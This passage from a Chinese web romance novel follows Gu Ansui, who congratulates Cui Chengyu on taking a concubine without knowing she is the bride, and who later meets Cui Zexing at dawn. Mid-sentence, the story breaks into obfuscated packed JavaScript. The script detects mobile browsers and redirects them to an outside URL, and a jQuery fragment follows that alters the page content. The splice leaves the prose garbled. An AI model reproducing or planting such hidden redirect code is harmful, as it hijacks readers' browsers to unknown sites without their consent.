谷安岁小心地将红绸叠好,抱在怀里:“妈妈是哪个院子的?我帮你送过去吧。”
管事妈妈感激一笑:“多谢姑娘了,是大公子院里的。”
两人一道往院落走。
“崔大公子?”谷安岁略有点诧异,打量了手中的红绸:“府中是有什么喜事吗?”
“姑娘是来崔家学堂念书的吧,不知道也正常。我们大公子这月底要纳一门侧室,这不,大夫人吩咐了,要尽快筹备,正火急火燎地操办呢。”说着,管事妈妈开了话匣子,“分明就是一门侧室,老奴瞧着大公子很是重视呢,就连挂在梁上的红绸都要选最好的,也不知是哪家姑娘这般好运气。”
谷安岁默默听着她的话,也不免生出一点好奇。
一直将东西送到了大公子院外,她停住了脚,见着三五个小厮正装扮着宅院,绸子扎成花,红艳艳地簇拥在院墙上,几个丫鬟捧着礼单,一件件地核对聘礼单子,箱子琳琅地堆在了院中心,处处都透着喜庆。
谷安岁都被这阵喜庆的氛围感染了,扬起一抹甜甜的笑,发挥出自己能想起来的全部吉祥话:“祝大公子和新夫人花好月圆,事事如意。”
她没逗留多久,将红绸递到管事手里就离开了。
只是前后脚的功夫。
崔承宇就从院里走出来了,遥遥见着那道熟悉的倩影,眉尖一挑:“谷姑娘方才来了?”
管事妈妈道:“方才在取物件时,这红绸子飘了出去,谷姑娘就帮着送过来的。她还祝大公子和新夫人花好月圆,事事如意呢。”
崔承宇将那根红绸捏在手心,指腹下皆是细腻柔软,像那日不小心抱住的人。
他的眼底涌出几分柔情:“她就是你们的新主子。”
管事妈妈愣了下,又张着笑脸说:“原来她就是新夫人啊,怪不得老奴方才就觉得她与公子特别登对,站在那就像是新婚甜蜜的夫妻。”
人逢喜事精神爽,崔承宇也没有娶妻纳妾过,倒是头一遭经这“洞房花烛夜”,只恨不得样样事情都由自己做主经手,如今听这吉祥话都觉得新奇高兴。
他开怀笑了几声:“赏!”
“今日我高兴,全院的人都赏一月月例。”
满院仆役都停了手中活计,齐声道:“多谢大公子,多谢新夫人。”
他环顾了一圈,基本都备齐了,也算暂时能歇一歇了。
纳一门侧室没那么多规矩,加上婚期定得急,样样从简,只待这聘礼入门,一切就尘埃落定了。
“你们好生当差,三日后将聘礼完好地送到谷家院里,办得热闹些,得叫全京城都知晓,大赏还在后头。”
***
谷安岁对此一无所知。
她在忧愁那一地的书该怎么取回来,明日又该怎么和林书瑶交代。
不如……就把一切都推到傀儡头上,说书被他扣下了。
她挠挠脸颊,有点羞愧,觉得自己真变成一个撒谎成性、阴暗邪恶的坏人了。
素心端了点心进来,拧着眉尖。
“姑娘,奴婢怎么觉得近来府里的人有点奇怪,好像是要准备什么喜事,几个院子都闹哄哄的”
谷安岁心不在焉,塞了一块糕点慢慢咽着,随口道:“算着时日,兴许是二妹妹的及笄礼吧。”
素心点点头,却又不忿道:“当初姑娘的及笄礼也没见他们多上心,就送了点东西过来,还是崔三夫人派人过来操办的。”
她说了好一会,把自己都说生气了,闷闷不乐地走了。
夜色渐渐深了,外头几盏灯也被熄了,平岁阁静得只闻风声。
谷安岁换了一身干净的寝衣,盘膝坐在榻上,先警惕地打量一圈,才敢将傀儡娃娃从书匣里拽出来。
小小一个,巴掌大小,上面写着“崔则行”三个字。
指尖来回在三个字上摩挲着,这是傀儡的脑袋,这是傀儡的手,这是傀儡的腿……今日,她就坐在这上面,喂傀儡喝水。
谷安岁颤了颤眼睫,满脸通红地埋进被褥里,努力斩断那些肮脏的心思。
傀儡自然也被她抱在怀里。
……
纠结了一晚。
谷安岁决定在去学堂之前,悄悄拜托言刃将那些书取回来。
她特意提早半个时辰去了崔府,守在归云苑门口,打算一见到言刃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514124|202489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就抹眼泪装可怜,求他帮自己一把。
天际映出熹微的光,刚凝出的露又结成了霜,伴着凉飕飕的寒风,她站在围墙底下,拎着沉重的书匣,脸冻得有点红,将下巴往衣领里钻。
院里,崔则行刚推开门,言刃连忙跑过去禀告:“大人,谷姑娘一早就过来了,站在外头好像在等谁,值守的侍卫也不敢过去。”
崔则行看了眼刚大亮的天色,这种时辰,做客早了,做贼迟了,唯有父母妻儿才会在晨起之时相见。
他漫不经心地问:“你觉得她在等谁?”
“……”言刃讪笑:“除了大人,谷姑娘还能等谁?总不见得是属下吧。”
崔则行语气平静:“今日我在学堂无课,朝中政务堆积繁多,何必亲自来此叨扰?”
他略理了下衣袖,抬脚往院外走。
一拐弯,那个冷得哆嗦,来回走动的姑娘就主动撞到了他怀里。
谷安岁像见到洪水猛兽似的,连连后退:“傀……”大逆不道的话立刻被咽回去,转口道:“崔先生,您怎么出来了?”
“这是归云苑,我该问的是谷姑娘吧。”
她的手指尴尬地揪着袖口,求人之前先客套一句:“先生的伤如何了?”
“我的伤?”
他伸手摸了下肩侧,乌眸微滞,忽觉痛感之上覆盖的柔软还没散去,似有若无地残留着香味。
“昨日经谷姑娘一碰,有些撕裂,伤口处的毒药也蔓延了,但死不了。”
“什、什么?”她惊住了。
谷安岁哪里能承担得了这么大的责任。
一时间,从被追究问罪,到以后埋在哪儿都想到了。
崔则行垂下眼帘,见她吓得睁圆了眼,泛着光泽的唇瓣抿着,从耳根到双颊都冻得发青,不知是被风吹了多久。
为了等他,倒是费了一番苦心。
他取下鹤氅,盖在她肩上。
谷安岁下意识畏缩着,偷偷用余光瞄他的肩膀,好似动作间没有受影响。
她一直看,一直看。
忽地,脑门被指节敲了下。
她这才收回眼神,老实地站好。